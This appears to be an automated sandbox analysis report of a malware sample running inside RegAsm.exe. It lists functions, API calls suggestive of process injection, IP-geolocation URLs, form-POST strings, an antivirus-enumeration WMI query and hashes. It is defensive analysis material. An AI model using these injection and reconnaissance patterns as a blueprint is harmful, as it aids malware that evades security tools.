
Function 01B2FE78 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 01B2FF27

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 02cd0d3b7c138992eac72a93409a96e3b344e7ebcb4ab2b91278d0a1a1e2ccb3
Instruction ID: a81825b4aab667b5f4a8bf765f28234264c040732da0ba4306e4038c4aeef677
Opcode Fuzzy Hash: 02cd0d3b7c138992eac72a93409a96e3b344e7ebcb4ab2b91278d0a1a1e2ccb3
Instruction Fuzzy Hash: AA31CDB4D012589FDB14DFAAD984AEEFBF1BF49310F14802AE418B7240D739A949CF54

Function 01B2FD83 Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 01B2FE06

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c1573ffc16e0c8c3612c324ce28de03e6006afbd5188b05f287ff06bae775301
Instruction ID: d7d47e856e121ca628d53945f042033867cd17e1e5bab5362e6ee662cb9efd4f
Opcode Fuzzy Hash: c1573ffc16e0c8c3612c324ce28de03e6006afbd5188b05f287ff06bae775301
Instruction Fuzzy Hash: B631CAB4D013189FCB14DFAAD985AAEFBB4FB49310F14842AE818B7300C735A905CF94

Function 01B2FD88 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 01B2FE06

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 56bfec388e6ec6c282faf9abb254f7cea6e21ae6dd083388a2144a4269b0e4c2
Instruction ID: 14959661a3c844896440ddba6ce78e337062d04b2881305a6770c2dd45488d54
Opcode Fuzzy Hash: 56bfec388e6ec6c282faf9abb254f7cea6e21ae6dd083388a2144a4269b0e4c2
Instruction Fuzzy Hash: 1031CAB4D012189FCB14DFAAD984AAEFBB4FB49310F10842AE818B7300C735A905CF94

Non-executed Functions

Function 01B2C49C Relevance: 3.9, Strings: 3, Instructions: 159COMMON

Download Yara Rule

Strings

UUUU, xrefs: 01B2C5A1
UUUU, xrefs: 01B2C4D7
X$c{, xrefs: 01B2C685

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID:
String ID: UUUU$UUUU$X$c{
API String ID: 0-153604399
Opcode ID: 54d352463b26c0bad2f19ac9e489e3ac0d381c6af651345af82baa346a453b45
Instruction ID: 279ad305efb168aaf77f38b22940fcbe57818747c1ec8785d1eec19942c8f9df
Opcode Fuzzy Hash: 54d352463b26c0bad2f19ac9e489e3ac0d381c6af651345af82baa346a453b45
Instruction Fuzzy Hash: 6C818071E102289FDB64CFA9C981B9DFBF2AF89300F1481A9E54CE7245D7349E858F01

Function 01B28E80 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d08721394f3479bcdb6553f7dea9e5231c79d965131968764a7efa419a07be8
Instruction ID: bbfe82d8b872b93df606ea91d6aadbc84d3dd7512c54764ac21d3664b23fbfcc
Opcode Fuzzy Hash: 1d08721394f3479bcdb6553f7dea9e5231c79d965131968764a7efa419a07be8
Instruction Fuzzy Hash: 8E512A74E053198FEB14DFBAE94169E7BF3FF98305F088529D0049B269EB745806CB91

Function 01B28E90 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1283442302.0000000001B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 01B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1b20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d41f42762c740ac680bcace63f44ea4225283026b66a978c6737f6825c0ac2b0
Instruction ID: a5171916ee7f45f99a58bb7016786a677c36a2da0e7f8b3f704aa89ff22f807d
Opcode Fuzzy Hash: d41f42762c740ac680bcace63f44ea4225283026b66a978c6737f6825c0ac2b0
Instruction Fuzzy Hash: D0510B74E053198FEB14DFBAE94069E7BF3FF88305F188129D0089B269EB745806CB91

Analysis Process: RegAsm.exePID: 2724, Parent PID: 1200COMMON

Execution Graph

Execution Coverage:	13.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	68

Executed Functions

Function 004CF180 Relevance: 63.6, APIs: 16, Strings: 19, Instructions: 2340sleepprocessCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004CF3A3

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004CF4DD
Sleep.KERNEL32(000000C8,?,?,?), ref: 004CFDD1
Sleep.KERNEL32(?), ref: 004CFDFA
GetBinaryTypeA.KERNEL32(00000000,FFFFFFFF), ref: 004CFE24
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D02E0
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004D02F1
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004D02FE
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?), ref: 004D0520
Sleep.KERNEL32(000000C8), ref: 004D071D
Sleep.KERNEL32(00000000), ref: 004D0746
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D0C09
CloseHandle.KERNEL32(?), ref: 004D0C1A
CloseHandle.KERNEL32(?), ref: 004D0C27
__aulldiv.LIBCMT ref: 004D1577
ShellExecuteA.SHELL32(00000000,?,?,?,00000000,?,?,?,?,?,?,?), ref: 004D171C

Part of subcall function 0053F3BA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3C5
Part of subcall function 0053F3BA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3FF

Part of subcall function 0053F369: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA37,?,00431682,00591F6C), ref: 0053F373
Part of subcall function 0053F369: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3A6
Part of subcall function 0053F369: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3B1

Strings

D, xrefs: 004D0A37
;, xrefs: 004D12F0
j3l6lrek, xrefs: 004CF68F, 004CF6D9, 004CFFE4, 004D002E, 004D00F0, 004D013A, 004D0485, 004D04CF, 004D08B3, 004D08FD, 004D09BF, 004D0A09, 004D0E0E, 004D0E58, 004D14C9, 004D1513, 004D1A27, 004D1A71
8, xrefs: 004D075B
"MRGL, xrefs: 004D16A4
], xrefs: 004D0763
u, xrefs: 004D0542
ldd2, xrefs: 004D117E
eks, xrefs: 004CF5E8, 004CFF3D, 004D0049, 004D03DE, 004D080C, 004D0918, 004D0D1D, 004D0D67, 004D13E7, 004D1422, 004D1936, 004D1980
Ek!)), xrefs: 004D0ECB
A, xrefs: 004CFA85
t, xrefs: 004D0F40
0{f{, xrefs: 004CFEAD
@, xrefs: 004D0767
V, xrefs: 004D0F44
], xrefs: 004D076B
5, xrefs: 004D12F4
D, xrefs: 004D0168
[, xrefs: 004D0546

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseExclusiveHandleLockSleep$AcquireBinaryCreateProcessReleaseType$ConditionExecuteShellVariableWake
String ID: "MRGL$0{f{$5$8$;$@$A$D$D$Ek!))$V$[$]$]$eks$j3l6lrek$ldd2$t$u
API String ID: 469071346-3292504649
Opcode ID: 81283f6473952836dc3c708956d13f4f7e42939b456881e8f1b76eaf4b1e2da0
Instruction ID: 7cb38e985e0c5856a784c73bdecb17df6ca005fca191167e9855002d79ff8882
Opcode Fuzzy Hash: 81283f6473952836dc3c708956d13f4f7e42939b456881e8f1b76eaf4b1e2da0
Instruction Fuzzy Hash: 424345B09042688FDB25CB64CC94BEEBBB1BF49304F0481EAD54967341DB786E89CF59

Function 00437A60 Relevance: 47.1, APIs: 2, Strings: 23, Instructions: 3321COMMON

Download Yara Rule

Strings

J.+>+, xrefs: 00438792
l, xrefs: 0043804C
q, xrefs: 00438F07
u, xrefs: 0043AD58
G.7, xrefs: 0043ACC3
o`ld, xrefs: 00438E47
Content-Type: application/x-www-form-urlencoded, xrefs: 00437C7A, 00437CCF, 00439B62, 00439BB7, 0043AAC3
5[TXP, xrefs: 004392DD
H++, xrefs: 0043AE6E
wrgr, xrefs: 00438888
z, xrefs: 0043ABAD
https://ipgeolocation.io/, xrefs: 0043B79C
/, xrefs: 0043B71E
gbwb, xrefs: 00438A5E
X<9,9, xrefs: 00439137
u, xrefs: 00438048
a, xrefs: 00437F73
x, xrefs: 00437F6F
W36#6, xrefs: 00439559
https://ipinfo.io/, xrefs: 004384A5
@, xrefs: 0043BD84
`, xrefs: 00438C53
0^Q]U, xrefs: 004396FF

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: /$0^Q]U$5[TXP$@$Content-Type: application/x-www-form-urlencoded$G.7$H++$J.+>+$W36#6$X<9,9$`$a$gbwb$https://ipgeolocation.io/$https://ipinfo.io/$l$o`ld$q$u$u$wrgr$x$z
API String ID: 0-570890796
Opcode ID: ba0e5f3614eb6ed68b0ed5049088848c90751baf7321ee295a15bd7604dbae0d
Instruction ID: 285bf3d2b505bf72dca790ecdb17edbe9ba5063895a4c066c7afc9656b52ff93
Opcode Fuzzy Hash: ba0e5f3614eb6ed68b0ed5049088848c90751baf7321ee295a15bd7604dbae0d
Instruction Fuzzy Hash: 4883F370D052A88BDB25CB28CC94BEEBBB1AF89304F0481DAD54D67242CB796F85CF55

Function 004515D0 Relevance: 42.7, APIs: 2, Strings: 21, Instructions: 2466COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004516E8
__aulldiv.LIBCMT ref: 0045255D

Strings

:, xrefs: 0045393D
:, xrefs: 00452CBC
:, xrefs: 00452F02
:, xrefs: 004536F7
:, xrefs: 00453A60
:, xrefs: 00452A76
:, xrefs: 004534B1
:, xrefs: 0045338E
:, xrefs: 00453DC9
:, xrefs: 004535D4
%, xrefs: 004525C9
:, xrefs: 0045326B
:, xrefs: 00453025
:, xrefs: 00453148
:, xrefs: 00452953
:::, xrefs: 0045380B
:, xrefs: 00453B83
:, xrefs: 00452B99
:, xrefs: 00453CA6
:, xrefs: 00453EEC
:, xrefs: 00452DDF

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: %$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:$:::
API String ID: 3732870572-4246453620
Opcode ID: d57d086264dd2df123cba9ad9c320971516bd00ce0c000c28ef5bc4a36a195ad
Instruction ID: 08b661de17c82be05149f988c64b8ff3e3a50c84af78ffd9cbc81368d8847950
Opcode Fuzzy Hash: d57d086264dd2df123cba9ad9c320971516bd00ce0c000c28ef5bc4a36a195ad
Instruction Fuzzy Hash: 714338709052688FCB25DF25CC90BEEB7B5AF45308F0481DAD54AAB242DB346F88CF59

Function 00430690 Relevance: 30.9, APIs: 13, Strings: 4, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 004307DA
__aulldiv.LIBCMT ref: 00430AE9

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 00430B8F
__aulldiv.LIBCMT ref: 00430BFB

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00430D35
__aulldiv.LIBCMT ref: 00430E6A
__aulldiv.LIBCMT ref: 0043102A
__fread_nolock.LIBCMT ref: 00431081

Strings

v, xrefs: 004308F2
j3l6lrek, xrefs: 0043088F, 004308CA
f, xrefs: 004308EE
eks, xrefs: 00430800

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: eks$f$j3l6lrek$v
API String ID: 3493607940-1188322682
Opcode ID: 0564395b1aca4ada82470a8180917670e9da0cba77bba6c76c6e99eec6abc704
Instruction ID: 9f46bf0a48ea93787f401d6c6e06d94a8f403be822c5a095e06399d298744f21
Opcode Fuzzy Hash: 0564395b1aca4ada82470a8180917670e9da0cba77bba6c76c6e99eec6abc704
Instruction Fuzzy Hash: D1B2B0B1E002189FDB24DF64CC91BEEBBB5BB89304F1481A9E409A7391DB346E85CF55

Function 00431730 Relevance: 30.9, APIs: 13, Strings: 4, Instructions: 1186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__aulldiv.LIBCMT ref: 0043187A
__aulldiv.LIBCMT ref: 00431B89

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__fread_nolock.LIBCMT ref: 00431C2F
__aulldiv.LIBCMT ref: 00431C9B

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 00431DD5
__aulldiv.LIBCMT ref: 00431F0A
__aulldiv.LIBCMT ref: 004320CA
__fread_nolock.LIBCMT ref: 00432121

Strings

j3l6lrek, xrefs: 0043192F, 0043196A
eks, xrefs: 004318A0
q, xrefs: 0043198E
a, xrefs: 00431992

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__fread_nolock
String ID: a$eks$j3l6lrek$q
API String ID: 3493607940-46437654
Opcode ID: 53c3d4457adbbf8b34f74d15587f7a74613430ebe18c68050389f0ef7ece3f55
Instruction ID: e08400fc820f6279e3ad219fcab9743e31d08ff48353c7bd83bbd659a6961f75
Opcode Fuzzy Hash: 53c3d4457adbbf8b34f74d15587f7a74613430ebe18c68050389f0ef7ece3f55
Instruction Fuzzy Hash: 67B2BFB1E002189FDB24CB64CC95BEEBBB5BF89304F1481A9E409A7391DB346E85CF55

Function 00433550 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000002), ref: 0043355D
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00433583
CoUninitialize.OLE32 ref: 00433592

Strings

WQL, xrefs: 004336A6
ROOT\SecurityCenter2, xrefs: 004335E8
displayName, xrefs: 00433794
%ws, xrefs: 004337C3
Select * From AntiVirusProduct, xrefs: 00433675

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Initialize$SecurityUninitialize
String ID: %ws$ROOT\SecurityCenter2$Select * From AntiVirusProduct$WQL$displayName
API String ID: 3757020523-4229669714
Opcode ID: 3b421371ad7f3b98a612a1af093b32398cc9ff33988cafd56cf1b42598411267
Instruction ID: 82d658868546ef23a9a76769c37e6c8416f40c763a4550c5ec6fbe7bcf5a2368
Opcode Fuzzy Hash: 3b421371ad7f3b98a612a1af093b32398cc9ff33988cafd56cf1b42598411267
Instruction Fuzzy Hash: FFA116B4E00209EFDB14DF94D985BEEBBB0FB48305F20915AE512AB390D7B86A45CF54

Function 00434C90 Relevance: 24.2, APIs: 3, Strings: 10, Instructions: 1456COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00435740
__aulldiv.LIBCMT ref: 00435A98
__aulldiv.LIBCMT ref: 00435DF4

Strings

s, xrefs: 00434E4A
&, xrefs: 00434DBF
4@MDQ, xrefs: 00435F11
j3l6lrek, xrefs: 00434D50, 00434D8B, 00436398, 004363D3
M$), xrefs: 0043551C
eks, xrefs: 00434CA9, 004362F1
x, xrefs: 00435B8B
n, xrefs: 00435833
Z, xrefs: 00434DC3
@$%,!9, xrefs: 0043619A

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: &$4@MDQ$@$%,!9$M$)$Z$eks$j3l6lrek$n$s$x
API String ID: 3732870572-4245124980
Opcode ID: 2d20fecad888761ba62fdbcc5eda2a642f30950b73490d1265f979a1384bb9d2
Instruction ID: 1a14ac99b7c486eea5b9db6d2e8c744e93baa35d79593578fc6d2a9370b7f8bc
Opcode Fuzzy Hash: 2d20fecad888761ba62fdbcc5eda2a642f30950b73490d1265f979a1384bb9d2
Instruction Fuzzy Hash: D0E27970D042688BDB24DB64CC95BEEBBB5BF89304F0481EAE50967381DB386E85CF55

Function 00509DE0 Relevance: 20.3, APIs: 10, Strings: 1, Instructions: 1016
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,?), ref: 00509F17
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A069
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A1BB
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A30D
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A45F
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A5E7
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A781
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050A91B
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050AAB5
GetModuleHandleA.KERNEL32(?,?,?), ref: 0050AC4F

Strings

9EC, xrefs: 0050A5B5

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID: 9EC
API String ID: 4139908857-3055594599
Opcode ID: 303fb9ed262a450b0cf414d05280eed20386e54608cf871a4e5fac8a6ee6b5c2
Instruction ID: 5d0ebdc3369f7f3c55be4a2a4bafe92cf6a0857721b8e9605e5d542f81500141
Opcode Fuzzy Hash: 303fb9ed262a450b0cf414d05280eed20386e54608cf871a4e5fac8a6ee6b5c2
Instruction Fuzzy Hash: 09B20270D052688FDB25CF68C890BEEBBB1BF89308F1481D9D44AAB346D7316A84DF55

Function 00433B30 Relevance: 20.1, APIs: 3, Strings: 8, Instructions: 892
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 00433C94
__aulldiv.LIBCMT ref: 00433D4D
__aulldiv.LIBCMT ref: 00434418

Strings

j, xrefs: 00433FD2
j, xrefs: 00433FDA
o, xrefs: 00433FCE
j3l6lrek, xrefs: 004345F4, 0043462F, 00434828, 00434863
Content-Type: application/x-www-form-urlencoded, xrefs: 0043445D, 0043449D
K, xrefs: 00433D7A
eks, xrefs: 00434556, 00434781
6, xrefs: 00433FDE

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: 6$Content-Type: application/x-www-form-urlencoded$K$eks$j$j$j3l6lrek$o
API String ID: 3732870572-17476010
Opcode ID: 462c6388d27bd9f1b002ba5251b69c7d2945d51076cd1745a5135a1385c8a0fb
Instruction ID: 9bc714c09d1347caa9393b7232ad5c501366b987e2cac2a155a05da6f40a65d8
Opcode Fuzzy Hash: 462c6388d27bd9f1b002ba5251b69c7d2945d51076cd1745a5135a1385c8a0fb
Instruction Fuzzy Hash: 59925770E002289BDB24DB69CC95BDEBBB5BF89304F1081DAE409A7351DB346E85CF55

Function 00436610 Relevance: 15.2, APIs: 2, Strings: 6, Instructions: 1184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

., xrefs: 0043686A
f, xrefs: 004367E2
j3l6lrek, xrefs: 00436B75, 00436BB0
eks, xrefs: 00436ACE
R, xrefs: 00436866
g, xrefs: 00436FFE

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionVariableWake
String ID: .$R$eks$f$g$j3l6lrek
API String ID: 4258034872-1172506303
Opcode ID: bb7639586aef63d0eff4f9bbe4229cb45b1fc681cf1f147631f670c44b4c2bed
Instruction ID: 154ddedd7d5a8543b964a23f29c728cc90f60600310b8ece6ee4b36dee229633
Opcode Fuzzy Hash: bb7639586aef63d0eff4f9bbe4229cb45b1fc681cf1f147631f670c44b4c2bed
Instruction Fuzzy Hash: F8C299B1D042699BDB24DB64CC91BEEBBB1BF89304F0481EAE50A67341DB346E84CF55

Function 00440E60 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 393
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0053F3BA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3C5
Part of subcall function 0053F3BA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-0000AA37,?,00431655,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F3FF

Part of subcall function 0053F369: AcquireSRWLockExclusive.KERNEL32(0058F970,-0000AA37,?,00431682,00591F6C), ref: 0053F373
Part of subcall function 0053F369: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3A6
Part of subcall function 0053F369: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431682,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F3B1

__aulldiv.LIBCMT ref: 00441185
__aulldiv.LIBCMT ref: 004411F9

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__fread_nolock.LIBCMT ref: 0044138F

Strings

$VF, xrefs: 00440FB0
j3l6lrek, xrefs: 004412F8, 00441327
eks, xrefs: 0044123A, 00441269

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock__aulldiv$AcquireRelease$ConditionVariableWake__fread_nolock
String ID: $VF$eks$j3l6lrek
API String ID: 577242060-630547479
Opcode ID: 8a1cf12617cf031f6d4810321c0187f2586edd0255045e69fc3c6268a54e4eb9
Instruction ID: 9e9df733c7fbd50a7584410499696f07547fc23e06de5eca58a7e088c7b1302c
Opcode Fuzzy Hash: 8a1cf12617cf031f6d4810321c0187f2586edd0255045e69fc3c6268a54e4eb9
Instruction Fuzzy Hash: E9F16BB1E002189FEB14CFA4CC85BEEBBB5BF88304F1481A9E509A7351DB746A85CF55

Function 0050CEF0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 135
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(00000000,00000000,aaj38,?), ref: 0050D050
GetProcessHeap.KERNEL32(00000008,-00000001,00000000,aaj38,?), ref: 0050D073
HeapAlloc.KERNEL32(00000000), ref: 0050D07A
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 0050D08F

Strings

38a49, xrefs: 0050D002, 0050D031
aaj38, xrefs: 0050CF59, 0050CF88

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocProcesslstrcpynlstrlen
String ID: 38a49$aaj38
API String ID: 2211197272-4103302207
Opcode ID: d00108b9d224d6bd7df3700c2b2149a640074e7f2eeaec58501fe1d4829e7b23
Instruction ID: ea56e97a32e3d415431b746ab2c836183ae27e8085c80052118d3d52f6d20bee
Opcode Fuzzy Hash: d00108b9d224d6bd7df3700c2b2149a640074e7f2eeaec58501fe1d4829e7b23
Instruction Fuzzy Hash: CE5114B0D04249AFCF04DFE8D899BEEBFB1BF48304F10815AE405AB285C7755A85CBA5

Function 00433080 Relevance: 6.3, APIs: 4, Instructions: 343
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCursorPos.USER32(?), ref: 00433093
GetCursorPos.USER32(?), ref: 004330AA
GetCursorPos.USER32(?), ref: 0043326A
__aulldiv.LIBCMT ref: 0043334D

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: Cursor$__aulldiv
String ID:
API String ID: 1352773691-0
Opcode ID: 1372d09930dd31eb569fef430bc82b2d3e9326f47eb170546ca2cad726c5e472
Instruction ID: 1ca5c068be41ef1467c0c596b296bf38e7bc1b9f194d3e5cebeacd9dd40374e5
Opcode Fuzzy Hash: 1372d09930dd31eb569fef430bc82b2d3e9326f47eb170546ca2cad726c5e472
Instruction Fuzzy Hash: F2F1E574E042189FDB14CF98C890BAEBBB2FF89305F14819AE819A7345D734AE85CF55

Function 0042C5A0 Relevance: 6.3, APIs: 4, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 0042C602
__aulldiv.LIBCMT ref: 0042C662
__aulldiv.LIBCMT ref: 0042C73F
__aulldiv.LIBCMT ref: 0042C865

Memory Dump Source

Source File: 00000007.00000002.1540105903.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$ErrorLast
String ID:
API String ID: 3457751964-0
Opcode ID: 90b450d99a42c556f61cb81fe78baef444ec95c6327c969b18535db597e5e4cb
Instruction ID: ca68c97c0afd0a5dede49387cf76575ae9f398955d41612989740a4d82586107
Opcode Fuzzy Hash: 90b450d99a42c556f61cb81fe78baef444ec95c6327c969b18535db597e5e4cb
Instruction Fuzzy Hash: 6AA17EB1E00218ABEB24DFA4DC85B9EBBB5BB88314F508169E808B7385D7386D458F55

Function 004428B0 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 789
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

